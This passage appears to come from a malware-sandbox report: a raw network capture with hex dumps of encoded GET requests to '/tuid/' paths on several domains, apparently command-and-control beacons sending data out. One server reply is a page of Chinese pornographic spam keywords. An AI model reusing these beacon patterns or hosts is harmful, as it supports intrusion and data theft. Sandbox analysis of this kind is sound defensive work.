45 38 6a 4e 58 54 5f 32 42 72 77 76 59 6f 49 48 70 35 48 43 6b 7a 4b 47 2d 50 33 51 32 56 78 78 6e 57 36 36 33 72 39 64 70 7a 70 72 35 62 67 76 64 58 6e 28 4a 66 69 28 37 4a 6d 52 6c 64 37 68 4e 4b 73 32 4e 31 6e 4d 39 65 2d 7e 6e 44 37 46 43 79 61 59 47 71 75 75 64 32 78 6c 73 28 75 32 5f 54 55 4d 4f 61 66 67 4b 70 70 72 65 7a 69 71 39 77 4a 73 4e 78 6a 77 79 54 73 69 36 52 35 36 61 32 69 38 6f 6e 48 4d 49 63 51 77 56 4e 73 46 66 32 61 69 4e 54 63 38 67 31 30 67 53 72 65 62 39 4f 31 44 70 6d 66 37 7a 51 33 34 68 48 56 5a 75 54 43 58 62 35 69 48 53 73 52 6d 48 39 32 30 55 67 58 4e 54 79 36 4f 42 38 56 63 59 6e 54 64 6f 4a 6c 47 4f 77 47 6d 36 53 4a 41 4d 36 56 67 32 56 36 67 2d 79 54 43 48 54 6f 53 61 7a 58 58 47 48 33 61 44 59 77 31 54 72 36 66 6f 47 49 72 31 56 6b 6a 36 68 51 57 69 67 49 66 67 54 46 69 58 70 5a 50 72 74 6b 44 61 73 4b 57 59 4c 48 30 64 46 33 74 31 51 5f 45 6f 54 61 31 42 78 72 4e 4b 37 4f 6e 55 42 50 7e 41 52 48 6c 30 6b 4e 36 33 39 6c 63 35 68 61 65 33 47 4d 75 65 32 5f 6e 6a 54 7a 54 47 77 74 43 62 30 54 65 65 72 6c 7a 76 75 6c 71 36 4a 31 7a 58 31 4e 71 30 6f 55 78 67 4f 4b 5a 44 34 73 33 30 68 6c 34 61 42 51 31 59 6d 59 45 33 67 77 30 39 59 37 36 64 55 42 57 6f 6f 30 39 6c 66 31 42 5a 42 31 77 6d 79 39 31 2d 5a 64 55 6c 4c 4b 67 39 50 46 30 63 4e 74 68 72 79 70 71 65 58 6a 31 65 69 33 6d 73 73 69 46 33 6a 52 68 54 4a 4e 72 4f 30 38 61 69 4b 7a 65 38 50 44 Data Ascii: m4bd=TLMellhEtscc(6thYoeaq6q9eP12jtWbp8HRmAHd(Xli~4zI~cGdBdlWsTeHK1dgHElKkStwfpGWId~OmFLeoouiED6jkpOKnLbi0O6dYsglGy~kDr3DTdR1Kfe8ADHv0EBdchC1MU6ADITqJsdEROk5mXrCPgVVcKZVkRg4Fqxe(ZV711jUFvDL65CbYtFFURd5bOaQLZabGn9WlWN3UBw872vs(G9-3AapfAvhhqlyjWnQniS9TmPuftNOnOACbCSE6Wt0mDQ8z8cRYc8ujH9Hsz3viiEI(91e07GT~49vA_EeWG7j9Tlkrf0J10SjwLgK3Pqr~A4SOzCubkDPJ-WHI6upDs1GN5MmeJAyzjhnfuw91U4xtjfjBLephYFwfbbcYsNG4ni5ODc6yVIkfv6Zvny5Gd6kx0E0(ayvWOqHAhTtDQ8FMvwgfEkzCyi-MN3cF0YVqZDsLc6iY8x9H2dilVGkqtUIovRuOBbpQy5CaTWyNwFXtLNQ6pBqpxJTjV8zTe1W7zmmsYbc0rGmDfNpfKKRRzNc2e~cFdrqR3fIp4Oc4crtkqxHqHrNhcE3v6Q3eu16eNncJR~u2AtFQh5289dWEaakhR13(gNDbUzSwMZOT3b9s-kF6fuZWSTMKUlYJfXkZrq7DdteJNnG5rLdm3rdCAblu4tDMWPN9Wk9mz9YSsYar1fhYXQcie6s(7QDVdTHTe65kmX9~LwyC5Gz8PFnbWl0jpdaJ_yKgwdPFuuCao4ZbJM4O8(kHEhtPCBIzmBAcMaVBamNga4VW8cRaOd9UmkSeZgYU9XyrSvbTO8j5MOqcz7JPy20bo9mu5ya4EgI4r9XerOjFnyXo_aFuox7dyV-O1KRJu7dSch1HRZ1yKyX12XgSuoE8jNXT_2BrwvYoIHp5HCkzKG-P3Q2VxxnW663r9dpzpr5bgvdXn(Jfi(7JmRld7hNKs2N1nM9e-~nD7FCyaYGquud2xls(u2_TUMOafgKppreziq9wJsNxjwyTsi6R56a2i8onHMIcQwVNsFf2aiNTc8g10gSreb9O1Dpmf7zQ34hHVZuTCXb5iHSsRmH920UgXNTy6OB8VcYnTdoJlGOwGm6SJAM6Vg2V6g-yTCHToSazXXGH3aDYw1Tr6foGIr1Vkj6hQWigIfgTFiXpZPrtkDasKWYLH0dF3t1Q_EoTa1BxrNK7OnUBP~ARHl0kN639lc5hae3GMue2_njTzTGwtCb0Teerlzvulq6J1zX1Nq0oUxgOKZD4s30hl4aBQ1YmYE3gw09Y76dUBWoo09lf1BZB1wmy91-ZdUlLKg9PF0cNthrypqeXj1ei3mssiF3jRhTJNrO08aiKze8PD5b6IeRSgJNR_yKLVdNMJDqzG2bBUwDMv~ysDyHvYzuFB06oW3vZq5S7syhi0AXKcDTczKRtsWeU_zU4WYS765Z5DFPkpdqgayclF26ouReB6KGEtLBYFz1GaeFI2KsOGu0HQcuA6MpVg3PRnlaoYCQHdYnJc(04KvQe0MFoJIMiKTSj-7YnE1bZdtv~8y53Hqha_CjMlhmZeBU(terQvchDDmnpy3O9tFeLDyH33JngfDzuD97TdUQa4vOZqabjknyE0Af0boxtcfMoE3iwI565NBKrBXj19JWnosU0yFsPOdZVdXn7h8Aqul8RkCec1MJpy7hPbEzscUWx5DzLCG6C24BFjSM7Xm57b7Rxxv7kmX_Rb7ImcBi~vz2Zvoz7h~MlCbFI72zO6iNUvPy4EmqZY1neOS-E-bpow79OSrHEQ2eIgFqfLh2Su7Wkatsp2JV0sHWxiIFMEwYkql4xqkrtW1tDxKKTFwOgULKI9fS5duHiYDH8jI5Ba4HvocgU50u8EFJGShQwFIV6d415cQLR-UBE4Xu1RGnzkurMuReAONoAzf-0uTCf1RkePABaij1WWcI915W4GkJFrx339a8LNxAq3hMC4kGlvfyVDgJB9LczF3llC4L9qi94JofNBevp-v614d9a-2KdriX5KGKsnFtdjxZDqH6K9WZ7laH9dA3i4wctdwLmI19PP0CXvfs41uU~et5mXc6Aqe681MMjpRtBhpYoUTMpRE6wF357BJq6qInTJtuiuKt1XMtwQx8dI2AMQyykj2sHc8FOSA7hzPqhFSzdB1k3eZU1VOeg7mdUBO9tyVaNB~NEk(NBmlrL1KNctO3EBGWwwAX2vo8f76496zTPY11BS(I(qYPfWH2mj21YoJeT53h5jzZrDjH29mzGvwX18PxkrjBfJvpISy5HJgyxqe29Pzqf9Lek6Xoafokp4T9iXOoU5rB1yjmp2xq5SCb2oN-SVhdEVLLZvSFBdn8uDJiMxQ6p4drkGstUL1Ea8KWXk~A27cyj8HN3eXzIVeXKM2yDQv9kAxVF2iY7HwFWmi7X1nfN5pLLrc0uv(XmMRPDOlhTZ5OM7rDtDoXoqMjVZNiB_A9gAhCzD7RNXWGkl79abHychgk00c-HEGe48QU7QsH9OTzzporGl5JNZqMQ_M4BJwKbmcEAoDP~j5I90T8q-3F8jg8MSH02mDlcMGiIzyVxqsD0WrgBOnvt9qWuoAOK781DLknmaa9gsgxuHAxUqwRgCOzIGxgN0ZevGlS5wT2jJhRekJK2Hc6GUXBT2YVcJK0M0AMBmuBL1aAqfWE~vFIch1Otot7ZU1dG6Q5x5RNcmVXG2aiiG1tC4Jj632xA0e7LUIc2nMb7nYPtxCHqLqfAAyPj0ExVBAXftuD6latnDfNgHiL5AMra6Iv00wLsmLaP1GaQOqHs2Ie8MnPXsApKwyDvj77A0SfOdKJa5KOOJ3oGpf3I04j8WV6hSD5CF0qpEK2wcUNn9oqvh8VsuKziOYOU8dnIfNssbvht46wRKjdcrOoWHYDQN~75CE8etjBMRvGC7Q5(apqkrKDIYgs8V9jGM6ENOOz~jD4ytAL33ACTJCPb3mn7M70udoFmhScn5bDhLeTw-zx86Pf3Mf5JnzToDpymVlqcipMC8UFHTtk8amyHKrp7Zach-BAFK5AYSgV(jb0EGrKIDlJ(cj4PZsIvLgs1NNANsOuYoGXpLrfNC(S1qpjIpIXZAuyCC0AOaYDFr6i~5GSJNES2PtoVpyELcexd9nw3uYkW6zU87b-RSYpGJIhJDoC7Oe2h07FwLyCC5Rm3xmrI5NhcUvA(VL8~DhxZTfJywbpKNkeDFJF9LKQDSM1RlORiMSyMVBWbQpnURa3tS1jBUhOiQo_bOUQoSPnzpa7(bLe9NzBgulA1r17LRRV4LV1xm6k5Gbc7Aj-phCtbBX6450tj8TbHNwm3LjGB-~VSm5QwY5BpbSRcGH2aly-RI7cQ2sU7CTJC1OUq5SLfsntCOk8PZdhjZp3PF~UXU5mqJ80gQVDmC44tqK6kJd2sj26ZER5U6myEshNEGe1QzeWf826hn4OaX7q5zLLS75aQhI3tTC3ntYzJv8L9umvgPo3N2TrqFsCkhudv1QobvlS27Wv~6S_LRQ_0U357bhykaxAZvWZhJCFcJTAi7fYpG93sYACcm(UIdjlR-gezz8DK_F446w7v57KnXWHYAJSK7lyh4rzZLBFxpBK(0h_jCZTAf(IwMHhAO8TXloTZb64UtqCIxeyvXLsh1URl0lu6a2C2beB3WRgjpo1HDdKtrfTLohIrkr_bcEkWquXFekZXHOUchoW0Fo6YKvCqycCNindQYxkN_W_FZGLr_XcQGvvuKR5~G7m59ZMt8zaWOYn~ZdzcVQ4e3cNUIwcD7Ykl-ay2Wd8VSxGbTNtGRMVv6(xkkcrEH1uFp0hXHV2Vio_ieVaZpQ2T80RNDmYTywyV2ktlCKr0ugl6EV9(XvNaXTQ4TVbClKgKMBg4YorgOn-UYdQ14VO71lmdfK0VM5dKRJBYSUEfSe3yVJuQcFA3ukOVATKSgKT5nhyeMRHv5P_I0dlDwSboS6fmk4UNeLSCJrUI-n_sAfyMzEcLNKLb_nlDsVVTXWJtsjKoXkTNB8NuMKYMlCcg6arhvahuC2-4urW5aJcGaiBBaFE1ui_THgaFjBpNkKTpXWKUhW14VToEN3k7
Aug 8, 2022 17:46:28.639810085 CEST	2209	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Mon, 08 Aug 2022 15:46:28 GMT server: LiteSpeed location: https://www.ghanesa.xyz/tuid/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:44:34.886375904 CEST	488	OUT	GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=uDqjMC0TPYTc8b3BnUYVD5r+dOFIeilgQYFIqhS/31oxMeb2xRi82/WbnXFAxC3dxs3o HTTP/1.1 Host: www.linuxizes.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:44:35.105171919 CEST	489	IN	HTTP/1.1 404 Not Found Date: Mon, 08 Aug 2022 15:44:34 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 6e 75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.linuxizes.com Port 80</address></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:28.631726027 CEST	2208	OUT	GET /tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&8pB=3fY8ljB8rp-H HTTP/1.1 Host: www.ghanesa.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:46:28.794621944 CEST	2219	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Mon, 08 Aug 2022 15:46:28 GMT server: LiteSpeed location: https://www.ghanesa.xyz/tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&8pB=3fY8ljB8rp-H Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:39.844942093 CEST	2339	OUT	GET /tuid/?m4bd=HIOGqwzZ3Isl7OEwvKn7zxoCIrzNSH0uht2lzyEyFHfgP4651xyJdMCZXys0BRyGrE8f&8pB=3fY8ljB8rp-H HTTP/1.1 Host: www.wwwf2dni.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:46:40.045722961 CEST	2383	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 08 Aug 2022 15:46:39 GMT Content-Type: text/html Content-Length: 1840 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 3d 27 c0 d6 c7 e5 c5 ce da b1 b5 e7 d7 d3 d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 74 69 74 6c 65 3e 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 32 36 30 38 35 3b 26 23 33 38 38 38 39 3b 26 23 32 36 34 31 30 3b 26 23 32 38 33 38 35 3b 26 23 32 31 33 31 33 3b 26 23 32 30 38 34 33 3b 26 23 33 31 31 30 35 3b 26 23 32 37 34 39 30 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 2c 26 23 32 33 31 35 39 3b 26 23 32 33 31 35 39 3b 26 23 32 30 31 31 36 3b 26 23 32 36 33 37 36 3b 26 23 33 32 35 30 38 3b 26 23 32 31 35 31 32 3b 26 23 33 32 35 36 34 3b 26 23 32 34 37 37 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 34 37 37 33 3b 26 23 32 30 33 38 37 3b 26 23 32 30 33 31 36 3b 26 23 32 39 32 33 33 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 2c 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 30 38 30 3b 26 23 33 30 37 32 31 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 33 37 37 3b 26 23 33 30 37 32 31 3b 26 23 32 30 30 31 33 3b 26 23 32 35 39 39 31 3b 26 23 32 33 33 38 33 3b 26 23 32 34 31 34 39 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 32 36 30 38 35 3b 26 23 33 38 38 38 39 3b 26 23 32 36 34 31 30 3b 26 23 32 38 33 38 35 3b 26 23 32 31 33 31 33 3b 26 23 32 30 38 34 33 3b 26 23 33 31 31 30 35 3b 26 23 32 37 34 39 30 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 2c 26 23 32 33 31 35 39 3b 26 23 32 33 31 35 39 3b 26 23 32 30 31 31 36 3b 26 23 32 36 33 37 36 3b 26 23 33 32 35 30 38 3b 26 23 32 31 35 31 32 3b 26 23 33 32 35 36 34 3b 26 23 32 34 37 37 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 34 37 37 33 3b 26 23 32 30 33 38 37 3b 26 23 32 30 33 31 36 3b 26 23 32 39 32 33 33 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 2c 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 30 38 30 3b 26 23 33 30 37 32 31 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 33 37 37 3b 26 23 33 30 37 32 31 3b 26 23 32 30 30 31 33 3b 26 23 32 35 39 39 31 3b 26 23 32 33 33 38 33 3b 26 23 32 34 31 34 39 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 33 31 35 39 3b 26 23 32 33 31 35 39 3b 26 23 32 30 31 31 36 3b 26 23 32 36 33 37 36 3b 26 23 33 32 35 30 38 3b 26 23 32 31 35 31 32 3b 26 23 33 32 35 36 34 3b 26 23 32 34 37 37 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 5f 26 23 32 34 37 37 33 3b 26 23 32 30 33 38 37 3b 26 23 32 30 33 31 36 3b 26 23 32 39 32 33 33 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 5f 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 30 38 30 3b 26 23 33 30 37 32 31 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 33 37 37 3b 26 23 33 30 37 32 31 3b 26 23 32 30 30 31 33 3b 26 23 32 35 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script>document.title='';</script><title>国产日韩未满十八禁止观看,婷婷五月综合缴情在线视频,情侣作爱视频网站,人妻无码人妻有码中文字幕在线</title><meta name="keywords" content="国产日韩未满十八禁止观看,婷婷五月综合缴情在线视频,情侣作爱视频网站,人妻无码人妻有码中文字幕在线" /><meta name="description" content="婷婷五月综合缴情在线视频_情侣作爱视频网站_人妻无码人妻有码中&#25

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:45.097492933 CEST	2526	OUT	GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=Il3LuUn17XOwO1L66Bn3hjajRgSpI6QuPLSUULkpfr+VyFXt3qGq+SpnJy79y37sHeXr HTTP/1.1 Host: www.worldbrands.wine Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:46:45.151875019 CEST	2666	IN	HTTP/1.1 200 OK Date: Mon, 08 Aug 2022 15:46:45 GMT Server: Apache/2.4.25 (Debian) Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 35 37 30 32 0d 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 41 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4f 77 6e 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 20 22 3e 0a 0a 09 3c 21 2d 2d 20 66 61 76 69 63 6f 6e 20 73 74 61 72 74 20 2d 2d 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 35 37 78 35 37 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 